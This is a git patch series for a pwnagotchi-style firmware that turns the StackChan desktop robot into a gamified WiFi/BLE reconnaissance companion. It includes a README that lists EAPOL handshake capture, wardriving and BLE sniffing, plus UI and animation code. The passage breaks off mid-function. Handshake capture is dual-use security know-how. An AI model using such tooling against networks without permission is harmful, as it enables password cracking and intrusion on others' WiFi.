From c7c76015dd3362b71211f215314e9f5114f4c6d6 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Sun, 10 May 2026 00:10:19 +0100 Subject: [PATCH 01/17] first readme changes --- README.md | 114 +++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 96 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index 9cf3f7f..037380d 100644 --- a/README.md +++ b/README.md @@ -1,32 +1,110 @@ -# StackChan Open-Source +# StackChan-Gotchi - +

+ +

-Here are StackChan related open-source resources, including source code of the StackChan firmware, remote controller firmware, mobile app (iOS and Android), and server. +A **pwnagotchi-style WiFi/BLE reconnaissance companion** for M5Stack CoreS3 robot (StackChan). Combines Tamagotchi-like gamification with network scanning, uniquely leveraging StackChan's robot capabilities—expressive face, head movement, and neon lights. -Update of this repo could be a little late than the released firmware and mobile app. +--- ----- +## Overview - +**Goal**: Create an engaging WiFi/BLE reconnaissance tool that leverages StackChan's robot capabilities to make network security research more interactive and fun. -**StackChan is a super kawaii AI desktop robot co-created by M5Stack and the user community.** It uses the M5Stack **flagship IoT development kit [CoreS3](https://docs.m5stack.com/en/core/CoreS3)** as its main controller, powered by an ESP32-S3 SoC featuring a 240 MHz dual-core processor, with 16MB Flash and 8MB PSRAM onboard, and supporting Wi-Fi and BLE. The main unit also integrates a 2.0-inch capacitive touch display with a high-strength glass cover, a 0.3 MP camera, a proximity & ambient light sensor, a 9-axis IMU (accelerometer + gyroscope + magnetometer), a microSD card slot, a 1W speaker, dual microphones, and power/reset buttons. +**Hardware**: M5Stack CoreS3 (ESP32-S3, 16MB Flash, 8MB PSRAM) + GPS Unit (optional) -The **robot body**, connected to the main unit, includes a USB-C interface for power and data, a 550 mAh battery, two feedback servos (360-degree continuous rotation on the horizontal axis and 90-degree movement on the vertical axis), two rows totaling 12 RGB LEDs, infrared transmitter and receiver, a three-zone touch panel, and a full-featured NFC module. +**Inspiration**: +- [M5PORKCHOP](https://github.com/M-Tech-Innovation/M5PORKCHOP) - Gamification, XP system, multiple modes, personality +- [M5Gotchi](https://github.com/xenon-mastodon/M5Gotchi) - Pwnagotchi UI, auto mode, web interface -The **factory firmware** is feature-rich, including an AI Agent, lively and expressive animations, ESP-NOW wireless remote control, and online app downloads. It can connect to a mobile app for video viewing, remote avatar control, and more, and also supports online updates (OTA). The product also supports programming via Arduino, UiFlow2, and other methods, and can connect to various expansion units in the M5Stack ecosystem, making it easy to implement a wide range of custom functions. +--- -> ⚠️ Do not forcibly rotate any movable parts connected to the motors by hand when you are unsure whether the motors are powered and under control, as this may cause hardware damage. +## Features -- Purchase link: [M5Stack Official Store](https://shop.m5stack.com/products/stackchan-kawaii-co-created-open-source-ai-desktop-robot) | [淘宝 Taobao](https://item.taobao.com/item.htm?id=1042238294510) +### Network Scanning +- WiFi beacon frame capture (promiscuous mode) +- Channel hopping (1-13, prioritizes 1/6/11) +- EAPOL handshake capture +- BLE device scanning via NimBLE -- Product document page: [English](https://docs.m5stack.com/en/StackChan) | [日本語](https://docs.m5stack.com/ja/StackChan) | [中文](https://docs.m5stack.com/zh_CN/StackChan) +### Gamification System +- XP earned from: networks discovered, handshakes captured, channels scanned, uptime +- 8 robot-themed levels (Unit → Omega) +- Persistent XP storage via ESP32 NVS -- Board support package: https://github.com/m5stack/StackChan-BSP +### Modes +| Mode | Description | Neon Color | +|------|-------------|------------| +| **SNIFF** | Active WiFi monitoring, capture handshakes | Green/Cyan | +| **SCOUT** | Passive scanning, no transmission | Blue | +| **WARDIVE** | Active wardriving with GPS logging | Orange | +| **SPECTRUM** | Channel analysis | Rainbow | +| **BLE-SNIFF** | BLE device scanning | Blue/Purple | +| **IDLE** | Idle mode | Green | -Thank you to the contributors of the StackChan community, especially: +### StackChan Integration +- Dynamic avatar emotions per mode +- Head movement speed increases with activity +- Neon light indicators color-coded by mode +- Touch interaction for mode cycling -| ![](https://m5stack-doc.oss-cn-shenzhen.aliyuncs.com/1205/avatar_stack_chan.jpg) | ![](https://m5stack-doc.oss-cn-shenzhen.aliyuncs.com/1205/avatar_takao.jpg) | -| -------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | -| [@stack_chan](https://x.com/stack_chan) | [@mongonta555](https://x.com/mongonta555) | -| Shinya Ishikawa | Takao Akaki | +### Additional +- GPS support (GPS-BDS Unit on UART2) +- Internal flash storage (~2MB FATFS) +- On-screen stats display + +--- + +## Hardware + +### Requirements +- M5Stack CoreS3 +- (Optional) GPS-BDS Unit v1.1 for wardriving + +### Known Limitations +- SD card unavailable (firmware bug affecting StackChan) +- Internal flash storage (~2MB) used instead + +--- + +## Build & Flash + +```bash +cd firmware +idf.py build +idf.py -p COM8 flash monitor +``` + +Or use the provided batch scripts: +- `clean_build.bat` - Clean build +- `flash.bat` - Flash to device + +--- + +## Project Structure + +``` +firmware/main/ +├── apps/app_gotchi/ - Main UI and mode handling +├── gotchi/ - Core scanning logic, XP system, GPS, storage +└── hal/board/ - StackChan board initialization +``` + +--- + +## Legal Warning + +This tool is for **educational and security research purposes only**. + +- Only test networks you own or have explicit permission to test +- Unauthorized access to computer systems is illegal +- The author takes no responsibility for misuse + +--- + +## References + +- StackChan: https://github.com/M5Stack/M5Stack-StackChan +- M5PORKCHOP: https://github.com/M-Tech-Innovation/M5PORKCHOP +- M5Gotchi: https://github.com/xenon-mastodon/M5Gotchi \ No newline at end of file From c8aae396a87a81120662f54d6a2a36dcdf360594 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Sun, 10 May 2026 00:13:19 +0100 Subject: [PATCH 02/17] first main push --- README.md | 4 - firmware/.gitignore | 3 + firmware/main/CMakeLists.txt | 6 + firmware/main/apps/app_gotchi/app_gotchi.cpp | 800 +++++++++++++ firmware/main/apps/app_gotchi/app_gotchi.h | 57 + .../main/apps/app_launcher/app_launcher.cpp | 10 +- firmware/main/apps/apps.h | 3 +- firmware/main/gotchi/gotchi.cpp | 1004 +++++++++++++++++ firmware/main/gotchi/gotchi.h | 138 +++ firmware/main/gotchi/gps.cpp | 214 ++++ firmware/main/gotchi/gps.h | 30 + firmware/main/gotchi/idle_dialogue.cpp | 268 +++++ firmware/main/gotchi/idle_dialogue.h | 68 ++ firmware/main/gotchi/storage.cpp | 525 +++++++++ firmware/main/gotchi/storage.h | 69 ++ firmware/main/hal/board/hal_bridge.h | 1 + firmware/main/hal/board/stackchan.cc | 34 +- firmware/main/main.cpp | 1 + firmware/main/stackchan/stackchan.h | 14 + firmware/partitions.csv | 3 +- 20 files changed, 3220 insertions(+), 32 deletions(-) create mode 100644 firmware/main/apps/app_gotchi/app_gotchi.cpp create mode 100644 firmware/main/apps/app_gotchi/app_gotchi.h create mode 100644 firmware/main/gotchi/gotchi.cpp create mode 100644 firmware/main/gotchi/gotchi.h create mode 100644 firmware/main/gotchi/gps.cpp create mode 100644 firmware/main/gotchi/gps.h create mode 100644 firmware/main/gotchi/idle_dialogue.cpp create mode 100644 firmware/main/gotchi/idle_dialogue.h create mode 100644 firmware/main/gotchi/storage.cpp create mode 100644 firmware/main/gotchi/storage.h diff --git a/README.md b/README.md index 037380d..606831c 100644 --- a/README.md +++ b/README.md @@ -76,10 +76,6 @@ idf.py build idf.py -p COM8 flash monitor ``` -Or use the provided batch scripts: -- `clean_build.bat` - Clean build -- `flash.bat` - Flash to device - --- ## Project Structure diff --git a/firmware/.gitignore b/firmware/.gitignore index 5c0083c..6a8b73e 100644 --- a/firmware/.gitignore +++ b/firmware/.gitignore @@ -65,3 +65,6 @@ sdkconfig sdkconfig.old xiaozhi-esp32/ + +# Build output logs +build_output.txt diff --git a/firmware/main/CMakeLists.txt b/firmware/main/CMakeLists.txt index 22cfebb..8e66a19 100644 --- a/firmware/main/CMakeLists.txt +++ b/firmware/main/CMakeLists.txt @@ -14,9 +14,15 @@ file(GLOB_RECURSE STACK_CHAN_SOURCES "stackchan/*.c" "stackchan/*.cc" "stackchan/*.cpp" + "gotchi/*.c" + "gotchi/*.cc" + "gotchi/*.cpp" ) set(STACK_CHAN_INCLUDE_DIRS "." + "gotchi" + "${CMAKE_CURRENT_SOURCE_DIR}/gotchi" + "${CMAKE_CURRENT_SOURCE_DIR}/apps/app_gotchi" ) list(APPEND STACK_CHAN_SOURCES main.cpp) diff --git a/firmware/main/apps/app_gotchi/app_gotchi.cpp b/firmware/main/apps/app_gotchi/app_gotchi.cpp new file mode 100644 index 0000000..6364711 --- /dev/null +++ b/firmware/main/apps/app_gotchi/app_gotchi.cpp @@ -0,0 +1,800 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "app_gotchi.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +using namespace mooncake; +using namespace stackchan; + +AppGotchi::AppGotchi() { + setAppInfo().name = "GOTCHI"; + static auto icon = assets::get_image("icon_dance.bin"); + setAppInfo().icon = (void*)&icon; + static uint32_t theme_color = 0x00FF88; + setAppInfo().userData = (void*)&theme_color; +} + +void AppGotchi::onCreate() { + mclog::tagInfo(getAppInfo().name, "on create"); +} + +void AppGotchi::onOpen() { + mclog::tagInfo(getAppInfo().name, "on open"); + + LvglLockGuard lock; + + std::unique_ptr loading_page; + loading_page = std::make_unique(0x00FF88, 0x003320); + loading_page->setMessage("Waking up\nGotchi..."); + + initGotchi(); + + loading_page.reset(); + + auto avatar = std::make_unique(); + avatar->init(lv_screen_active()); + GetStackChan().attachAvatar(std::move(avatar)); + + view::create_home_indicator([&]() { close(); }, 0x00FF88, 0x003320); + view::create_status_bar(0x00FF88, 0x003320); + + _statsLabel = std::make_unique(lv_screen_active()); + _statsLabel->setBgColor(lv_color_hex(0x003320)); + _statsLabel->setRadius(8); + _statsLabel->setTextFont(&lv_font_montserrat_14); + _statsLabel->setTextColor(lv_color_hex(0x00FF88)); + _statsLabel->setTextAlign(LV_TEXT_ALIGN_LEFT); + _statsLabel->setSize(300, 50); + _statsLabel->align(LV_ALIGN_TOP_LEFT, 5, 5); + _statsLabel->setText("Nets:0 XP:0 Lvl:1 | Scanning..."); + + // Network list display (bottom of screen) + _networkListLabel = std::make_unique(lv_screen_active()); + _networkListLabel->setBgColor(lv_color_hex(0x001a00)); + _networkListLabel->setRadius(6); + _networkListLabel->setTextFont(&lv_font_montserrat_14); + _networkListLabel->setTextColor(lv_color_hex(0x88FF88)); + _networkListLabel->setTextAlign(LV_TEXT_ALIGN_LEFT); + _networkListLabel->setSize(300, 50); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setText("Nearby networks will appear here..."); + + _isRunning = true; + _currentMode = gotchi::Mode::SNIFF; // Auto-start in SNIFF mode + _lastModeChange = GetHAL().millis(); + + gotchi::setMode(gotchi::Mode::SNIFF); // Auto-start scanning + + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("Scanning..."); + GetStackChan().addModifier(std::make_unique(2000, 180, true)); + } + + _headYawOffset = 0; + _headPitchOffset = 0; + _touchTracking = false; + + GetStackChan().leftNeonLight().setColor(0x00, 0xFF, 0x88); + GetStackChan().rightNeonLight().setColor(0x00, 0xFF, 0x88); + + if (GetStackChan().hasMotion()) { + mclog::tagInfo(getAppInfo().name, "Moving head to home position..."); + GetStackChan().motion().goHome(400); + } + + mclog::tagInfo(getAppInfo().name, "Gotchi awake!"); +} + +void AppGotchi::onRunning() { + LvglLockGuard lock; + + updateGotchi(); + handleInput(); + updateAvatar(); + updateHeadAnimation(); + updateNeonLights(); + renderUI(); + + GetStackChan().update(); + + view::update_home_indicator(); + view::update_status_bar(); +} + +void AppGotchi::onClose() { + mclog::tagInfo(getAppInfo().name, "on close"); + + LvglLockGuard lock; + + GetStackChan().resetAvatar(); + + GetStackChan().leftNeonLight().setColor(0, 0, 0); + GetStackChan().rightNeonLight().setColor(0, 0, 0); + + if (GetStackChan().hasMotion()) { + GetStackChan().motion().moveWithSpeed(0, 200, 600); + } + + view::destroy_home_indicator(); + view::destroy_status_bar(); + + gotchi::shutdown(); +} + +void AppGotchi::initGotchi() { + gotchi::init(); + gotchi::initStorage(); + + // Check storage and show warning if not present + if (!gotchi::hasStorage()) { + mclog::tagInfo(getAppInfo().name, "WARNING: No storage - limited functionality!"); + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("No storage!"); + GetStackChan().addModifier(std::make_unique(3000, 180, true)); + } + } +} + +void AppGotchi::updateGotchi() { + if (!_isRunning) return; + + uint32_t now = GetHAL().millis(); + if (now - _lastUpdate < 50) return; + _lastUpdate = now; + + gotchi::update(); +} + +void AppGotchi::handleInput() { + auto touch = GetHAL().lvTouchpad; + if (!touch) return; + + lv_indev_state_t state = lv_indev_get_state(touch); + lv_point_t point; + lv_indev_get_point(touch, &point); + + // Require long press in top area to change mode (prevents accidental triggers) + if (state == LV_INDEV_STATE_PRESSED) { + if (point.y < 80) { + if (_pressStartTime == 0) { + _pressStartTime = GetHAL().millis(); + } + // Require 500ms hold in top area + if (GetHAL().millis() - _pressStartTime > 500 && + GetHAL().millis() - _lastModeChange > 1000) { + _lastModeChange = GetHAL().millis(); + cycleMode(); + } + } else { + _pressStartTime = 0; + } + } else { + _pressStartTime = 0; + } +} + +void AppGotchi::cycleMode() { + switch (_currentMode) { + case gotchi::Mode::IDLE: + _currentMode = gotchi::Mode::SNIFF; + break; + case gotchi::Mode::SNIFF: + _currentMode = gotchi::Mode::SCOUT; + break; + case gotchi::Mode::SCOUT: + _currentMode = gotchi::Mode::WARDIVE; + break; + case gotchi::Mode::WARDIVE: + _currentMode = gotchi::Mode::SPECTRUM; + break; + case gotchi::Mode::SPECTRUM: + _currentMode = gotchi::Mode::BLE_SNIFF; + break; + case gotchi::Mode::BLE_SNIFF: + _currentMode = gotchi::Mode::IDLE; + break; + } + + gotchi::setMode(_currentMode); + + // Show mode in speech bubble + const char* modeName = gotchi::getModeName(_currentMode); + + // Play different tone for each mode (bypasses xiaozhi AudioService to avoid WiFi conflict) + uint16_t tone_freq = 600; + switch (_currentMode) { + case gotchi::Mode::SNIFF: tone_freq = 600; break; // Low beep + case gotchi::Mode::SCOUT: tone_freq = 800; break; // Mid beep + case gotchi::Mode::WARDIVE: tone_freq = 1000; break; // Higher beep + case gotchi::Mode::SPECTRUM: tone_freq = 1200; break; // Highest beep + default: tone_freq = 400; break; // IDLE - very low + } + hal_bridge::app_play_tone(tone_freq, 100); + + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech(modeName); + GetStackChan().addModifier(std::make_unique(1500, 180, true)); + } +} + +void AppGotchi::updateAvatar() { + if (!GetStackChan().hasAvatar()) return; + + auto mood = gotchi::getCurrentMood(); + auto& avatar = GetStackChan().avatar(); + + // Mode-specific base emotion with mood override + avatar::Emotion baseEmotion = avatar::Emotion::Neutral; + + switch (_currentMode) { + case gotchi::Mode::SNIFF: + baseEmotion = avatar::Emotion::Doubt; // Scanning/alert + break; + case gotchi::Mode::SCOUT: + baseEmotion = avatar::Emotion::Happy; // Exploring/curious + break; + case gotchi::Mode::WARDIVE: + baseEmotion = avatar::Emotion::Angry; // Intense/active + break; + case gotchi::Mode::SPECTRUM: + baseEmotion = avatar::Emotion::Doubt; // Analyzing + break; + case gotchi::Mode::BLE_SNIFF: + baseEmotion = avatar::Emotion::Doubt; // BLE scanning + break; + case gotchi::Mode::IDLE: + baseEmotion = avatar::Emotion::Neutral; + break; + } + + // Mood override + switch (mood) { + case gotchi::Mood::HAPPY: + case gotchi::Mood::EXCITED: + baseEmotion = avatar::Emotion::Happy; + break; + case gotchi::Mood::SAD: + baseEmotion = avatar::Emotion::Sad; + break; + case gotchi::Mood::SLEEPY: + baseEmotion = avatar::Emotion::Sleepy; + break; + case gotchi::Mood::FOCUSED: + baseEmotion = avatar::Emotion::Doubt; + break; + default: + break; + } + + avatar.setEmotion(baseEmotion); +} + +void AppGotchi::updateHeadAnimation() { + if (!GetStackChan().hasMotion()) return; + + uint32_t now = GetHAL().millis(); + auto& motion = GetStackChan().motion(); + + static const uint32_t IDLE_INTERVAL = 3000; + static const uint32_t SNIFF_INTERVAL = 800; + static const uint32_t SCOUT_INTERVAL = 1500; + + uint32_t interval = IDLE_INTERVAL; + int16_t baseYaw = 0; + int16_t basePitch = 200; + + switch (_currentMode) { + case gotchi::Mode::SNIFF: + interval = SNIFF_INTERVAL; + break; + case gotchi::Mode::SCOUT: + interval = SCOUT_INTERVAL; + basePitch = 150; + break; + case gotchi::Mode::WARDIVE: + interval = 600; + baseYaw = (now / interval) % 2 ? 300 : -300; + break; + case gotchi::Mode::SPECTRUM: + interval = 1000; + baseYaw = (int16_t)((now / interval) % 6 - 3) * 150; + break; + case gotchi::Mode::BLE_SNIFF: + interval = 600; + break; + default: + break; + } + + bool targetChanged = false; + + if (now - _lastHeadAnim > interval) { + _lastHeadAnim = now; + targetChanged = true; + + if (_currentMode == gotchi::Mode::IDLE) { + static bool idleDir = false; + _headYawOffset = idleDir ? 150 : -150; + idleDir = !idleDir; + _headPitchOffset = (now / 4000 % 2) ? 30 : -30; + } else if (_currentMode == gotchi::Mode::SNIFF) { + auto networks = gotchi::getNetworks(); + int netCount = networks.size(); + + int yawRange = (netCount >= 10) ? 200 : (netCount >= 5) ? 150 : 100; + _headYawOffset = (int16_t)(sin(now / 500.0) * yawRange); + + if (netCount >= 10) { + _headPitchOffset = (now / 1000 % 3 - 1) * 40; + } else if (netCount >= 5) { + _headPitchOffset = (now / 1500 % 2) * 25 - 25; + } else { + _headPitchOffset = (now / 2000 % 2) * 15 - 15; + } + } else if (_currentMode == gotchi::Mode::SCOUT) { + _headYawOffset = (int16_t)((now / 500 % 4) - 2) * 100; + _headPitchOffset = (int16_t)((now / 800 % 3) - 1) * 30; + } else if (_currentMode == gotchi::Mode::BLE_SNIFF) { + auto devices = gotchi::getBLEDevices(); + int devCount = devices.size(); + + int yawRange = (devCount >= 10) ? 180 : (devCount >= 5) ? 150 : 100; + _headYawOffset = (int16_t)(sin(now / 600.0) * yawRange); + _headPitchOffset = (now / 1200 % 2) ? 20 : -20; + } + } + + if (!_touchTracking) { + int16_t targetYaw = baseYaw + _headYawOffset; + int16_t targetPitch = basePitch + _headPitchOffset; + + if (targetChanged || targetYaw != _lastTargetYaw || targetPitch != _lastTargetPitch) { + _lastTargetYaw = targetYaw; + _lastTargetPitch = targetPitch; + + motion.moveWithSpeed(targetYaw, targetPitch, 400); + } + } +} + +void AppGotchi::updateNeonLights() { + auto& leftLight = GetStackChan().leftNeonLight(); + auto& rightLight = GetStackChan().rightNeonLight(); + + uint32_t now = GetHAL().millis(); + auto networks = gotchi::getNetworks(); + int netCount = networks.size(); + + // Flash effect when new network found + if (_neonFlashCount > 0) { + bool flashOn = (now / 100) % 2; + if (flashOn) { + leftLight.setColor(0xFF, 0xFF, 0x00); // Bright yellow flash + rightLight.setColor(0xFF, 0xFF, 0x00); + } else { + leftLight.setColor(0x00, 0xFF, 0x00); // Green + rightLight.setColor(0x00, 0xFF, 0x00); + } + if ((now / 200) % 2 == 0) { + _neonFlashCount--; + } + return; + } + + // Dynamic blink speed based on network count + int blinkSpeed = 400; // base speed + if (netCount > 10) blinkSpeed = 150; // Very fast when many networks + else if (netCount > 5) blinkSpeed = 250; // Fast + else if (netCount > 2) blinkSpeed = 350; // Medium + else blinkSpeed = 500; // Slow + + bool blinkOn = (now / blinkSpeed) % 2; + + switch (_currentMode) { + case gotchi::Mode::IDLE: + // Gentle pulse - slow breathing effect + if ((now / 1000) % 2) { + leftLight.setColor(0x00, 0xAA, 0x66); + rightLight.setColor(0x00, 0xAA, 0x66); + } else { + leftLight.setColor(0x00, 0x66, 0x33); + rightLight.setColor(0x00, 0x66, 0x33); + } + break; + + case gotchi::Mode::SNIFF: + // Dynamic colors based on network count + if (netCount >= 10) { + // EXCITED - lots of networks! + if (blinkOn) { + leftLight.setColor(0x00, 0xFF, 0x00); // Bright green + rightLight.setColor(0xFF, 0xFF, 0x00); // Yellow + } else { + leftLight.setColor(0x00, 0x88, 0x00); + rightLight.setColor(0x88, 0x88, 0x00); + } + } else if (netCount >= 5) { + // HAPPY - good number of networks + if (blinkOn) { + leftLight.setColor(0x00, 0xFF, 0x88); // Green + rightLight.setColor(0x00, 0xFF, 0xFF); // Cyan + } else { + leftLight.setColor(0x00, 0xAA, 0x55); + rightLight.setColor(0x00, 0xAA, 0xAA); + } + } else { + // CALM - few networks + if (blinkOn) { + leftLight.setColor(0x00, 0x88, 0x44); // Dim green + rightLight.setColor(0x00, 0x88, 0x88); // Dim cyan + } else { + leftLight.setColor(0x00, 0x44, 0x22); + rightLight.setColor(0x00, 0x44, 0x44); + } + } + break; + + case gotchi::Mode::SCOUT: + // Blue pulse - exploring + if (blinkOn) { + leftLight.setColor(0x00, 0x66, 0xFF); + rightLight.setColor(0x00, 0x66, 0xFF); + } else { + leftLight.setColor(0x00, 0x33, 0x88); + rightLight.setColor(0x00, 0x33, 0x88); + } + break; + + case gotchi::Mode::WARDIVE: + if ((now / 150) % 2) { + leftLight.setColor(0xFF, 0x66, 0x00); + rightLight.setColor(0xFF, 0x66, 0x00); + } else { + leftLight.setColor(0x88, 0x33, 0x00); + rightLight.setColor(0x88, 0x33, 0x00); + } + break; + + case gotchi::Mode::SPECTRUM: { + uint8_t phase = (now / 100) % 6; + if (phase < 3) { + leftLight.setColor(0xFF, 0x00 << (phase * 2), 0xFF); + rightLight.setColor(0xFF, 0x00 << ((phase + 1) * 2), 0xFF); + } else { + leftLight.setColor(0x00, 0xFF, 0x00); + rightLight.setColor(0x00, 0x00, 0xFF); + } + break; + } + + case gotchi::Mode::BLE_SNIFF: { + // Blue/Magenta pulse - BLE scanning + if (blinkOn) { + leftLight.setColor(0x00, 0x88, 0xFF); + rightLight.setColor(0x88, 0x00, 0xFF); + } else { + leftLight.setColor(0x00, 0x44, 0x88); + rightLight.setColor(0x44, 0x00, 0x88); + } + break; + } + + default: + leftLight.setColor(0x00, 0xFF, 0x88); + rightLight.setColor(0x00, 0xFF, 0x88); + break; + } +} + +static const char* getSignalBars(int rssi) { + if (rssi > -50) return "++++"; + if (rssi > -60) return "+++"; + if (rssi > -70) return "++"; + if (rssi > -80) return "+"; + return "_"; +} + +void AppGotchi::renderUI() { + auto stats = gotchi::getStats(); + auto networks = gotchi::getNetworks(); + + // Update on-screen stats with enhanced visual info + char statsText[128]; + + // Mode indicator - removed, now shows network count instead + + // Find best signal + int bestRssi = -100; + const char* bestSsid = "none"; + for (const auto& net : networks) { + if (net.rssi > bestRssi) { + bestRssi = net.rssi; + bestSsid = net.ssid; + } + } + + // Get handshake count + int hsCount = gotchi::getHandshakeCount(); + const char* hsIcon = hsCount > 0 ? "#" : "o"; + + // GPS info display - show coordinates in WARDIVE mode, satellite count otherwise + const char* gpsDisplay = "No GPS"; + if (stats.gpsValid && stats.gpsSatellites > 0) { + static char gpsBuf[48]; + if (_currentMode == gotchi::Mode::WARDIVE && stats.gpsLat != 0 && stats.gpsLon != 0) { + int latDeg = (int)abs(stats.gpsLat); + double latMin = (abs(stats.gpsLat) - latDeg) * 60; + char latDir = stats.gpsLat >= 0 ? 'N' : 'S'; + int lonDeg = (int)abs(stats.gpsLon); + double lonMin = (abs(stats.gpsLon) - lonDeg) * 60; + char lonDir = stats.gpsLon >= 0 ? 'E' : 'W'; + snprintf(gpsBuf, sizeof(gpsBuf), "%02d.%04lf%c %03d.%04lf%c", + latDeg, latMin, latDir, lonDeg, lonMin, lonDir); + } else { + snprintf(gpsBuf, sizeof(gpsBuf), "[G%02d]", (int)stats.gpsSatellites); + } + gpsDisplay = gpsBuf; + } + + // Build stats text - different format for SPECTRUM mode + if (_currentMode == gotchi::Mode::SPECTRUM) { + // Show channel analysis in SPECTRUM mode + auto channels = gotchi::getChannelAnalysis(); + + // Find busiest and best (least busy) channels + int busiestCh = 1; + int busiestCount = 0; + int bestCh = 1; + int bestCount = 999; // High initial value + int totalNets = 0; + char channelDisplay[48] = ""; + char* p = channelDisplay; + + for (const auto& ch : channels) { + if (ch.channel >= 1 && ch.channel <= 13) { + if (ch.networkCount > busiestCount) { + busiestCount = ch.networkCount; + busiestCh = ch.channel; + } + // Track best (least busy) non-zero channel + if (ch.networkCount > 0 && ch.networkCount < bestCount) { + bestCount = ch.networkCount; + bestCh = ch.channel; + } + totalNets += ch.networkCount; + + // Show channels with activity - use simple ASCII for display + if (ch.networkCount > 0) { + const char* bar = ch.networkCount >= 5 ? "#" : + ch.networkCount >= 3 ? "+" : + ch.networkCount >= 1 ? "-" : "."; + int written = snprintf(p, sizeof(channelDisplay) - (p - channelDisplay), "%d%s ", + ch.channel, bar); + p += written; + } + } + } + + int progress = gotchi::getXPProgress(stats.xp, stats.level); + + if (totalNets > 0) { + // Show: Freq | Best:CH Busy:CH | CurrentCH | Level% | Channel visual + snprintf(statsText, sizeof(statsText), "%.1fMHz|B:%d|Bsy:%d|CH%d|Lv%d %d%%|%s", + 2.4 + (stats.currentChannel - 1) * 0.016, + bestCh, // Best channel (recommended) + busiestCh, // Busiest channel + stats.currentChannel, + (int)stats.level, progress, + channelDisplay); + } else { + snprintf(statsText, sizeof(statsText), "SPECT:%.0fMHz|Scanning...|CH%d|Lv:%d %d%%", + 2.4 + (stats.currentChannel - 1) * 0.016, + stats.currentChannel, (int)stats.level, progress); + } + } else if (networks.size() > 0) { + int progress = gotchi::getXPProgress(stats.xp, stats.level); + snprintf(statsText, sizeof(statsText), "Nets:%d|Lv:%d %d%%|CH%d|%s%d HS|%s|%s", + (int)networks.size(), + (int)stats.level, progress, + stats.currentChannel, hsIcon, hsCount, + bestSsid, gpsDisplay); + } else { + int progress = gotchi::getXPProgress(stats.xp, stats.level); + snprintf(statsText, sizeof(statsText), "Nets:0|Scanning...|Lv:%d %d%%|CH%d|%s%d HS|%s", + (int)stats.level, progress, + stats.currentChannel, hsIcon, hsCount, gpsDisplay); + } + _statsLabel->setText(statsText); + + // Announce new networks found in SNIFF mode + if (_currentMode == gotchi::Mode::SNIFF && networks.size() > _lastNetworkCount) { + _lastNetworkCount = networks.size(); + + const char* latestSSID = networks.back().ssid; + + if (GetStackChan().hasAvatar()) { + // Show excited emotion when finding new networks + GetStackChan().avatar().setEmotion(avatar::Emotion::Happy); + + // Get quirky phrase from dialogue system + const char* phrase = _idleDialogue.getNetworkFoundPhrase(latestSSID); + GetStackChan().avatar().setSpeech(phrase); + GetStackChan().addModifier(std::make_unique(2000, 180, true)); + } + + // Flash neon lights briefly when network found + _neonFlashCount = 3; + } + + // Announce new BLE devices found in BLE_SNIFF mode + if (_currentMode == gotchi::Mode::BLE_SNIFF) { + auto devices = gotchi::getBLEDevices(); + if (devices.size() > _lastBLEDeviceCount && devices.size() > 0) { + _lastBLEDeviceCount = devices.size(); + + if (GetStackChan().hasAvatar()) { + // Show excited emotion when finding new BLE devices + GetStackChan().avatar().setEmotion(avatar::Emotion::Happy); + + // Get quirky phrase from dialogue system + const char* latestName = devices.back().name[0] != '\0' ? + devices.back().name : "Unknown Device"; + const char* phrase = _idleDialogue.getBLEDeviceFoundPhrase(latestName); + GetStackChan().avatar().setSpeech(phrase); + GetStackChan().addModifier(std::make_unique(1500, 180, true)); + } + + // Flash neon lights briefly when BLE device found + _neonFlashCount = 2; + } + } + + // Update network list display (show up to 4 networks) + // Or show channel analysis in SPECTRUM mode + if (_currentMode == gotchi::Mode::SPECTRUM) { + auto channels = gotchi::getChannelAnalysis(); + char spectrumText[256] = "Channel Usage:\n"; + + int maxCount = 0; + for (const auto& ch : channels) { + if (ch.networkCount > maxCount) maxCount = ch.networkCount; + } + + size_t spectrumPos = strlen(spectrumText); + for (int i = 0; i < 14; i++) { + char line[32]; + + if (channels[i].networkCount > 0) { + snprintf(line, sizeof(line), "CH%d:%d ", channels[i].channel, channels[i].networkCount); + } else { + snprintf(line, sizeof(line), "CH%d:- ", channels[i].channel); + } + size_t len = strlen(line); + if (spectrumPos + len < sizeof(spectrumText) - 1) { + strcat(spectrumText, line); + spectrumPos += len; + } + if (i == 6 && spectrumPos + 1 < sizeof(spectrumText) - 1) { + strcat(spectrumText, "\n"); + spectrumPos += 1; + } + } + _networkListLabel->setText(spectrumText); + } else if (_currentMode == gotchi::Mode::WARDIVE) { + // WARDIVE - show signal strength distribution with visual bars + char wardiveText[256] = "Signal Strength:\n"; + int strong = 0, medium = 0, weak = 0; + for (const auto& net : networks) { + if (net.rssi > -60) strong++; + else if (net.rssi > -80) medium++; + else weak++; + } + snprintf(wardiveText, sizeof(wardiveText), "+++ %d Strong | ++ %d Med | + %d Weak\n* %s %s", + strong, medium, weak, getSignalBars(bestRssi), bestSsid); + _networkListLabel->setText(wardiveText); + } else if (_currentMode == gotchi::Mode::SCOUT) { + // SCOUT - show detailed network list with signal bars + char scoutText[512] = ""; + size_t scoutPos = 0; + int count = std::min((int)networks.size(), 6); + for (int i = networks.size() - count; i < (int)networks.size(); i++) { + char line[80]; + const char* sec = "OPN"; + // Note: beacon frames don't include security info, this is placeholder + snprintf(line, sizeof(line), "%s %s\n CH%d %ddBm %s\n", + getSignalBars(networks[i].rssi), networks[i].ssid, + networks[i].channel, (int)networks[i].rssi, sec); + size_t len = strlen(line); + if (scoutPos + len < sizeof(scoutText) - 1) { + strcat(scoutText, line); + scoutPos += len; + } + } + if (networks.empty()) { + snprintf(scoutText, sizeof(scoutText), "No networks found.\nTry SNIFF mode first."); + } + _networkListLabel->setText(scoutText); + } else if (_currentMode == gotchi::Mode::BLE_SNIFF) { + // BLE_SNIFF - show discovered BLE devices + auto devices = gotchi::getBLEDevices(); + char bleText[512] = ""; + size_t blePos = 0; + + if (!devices.empty()) { + int count = std::min((int)devices.size(), 6); + for (int i = devices.size() - count; i < 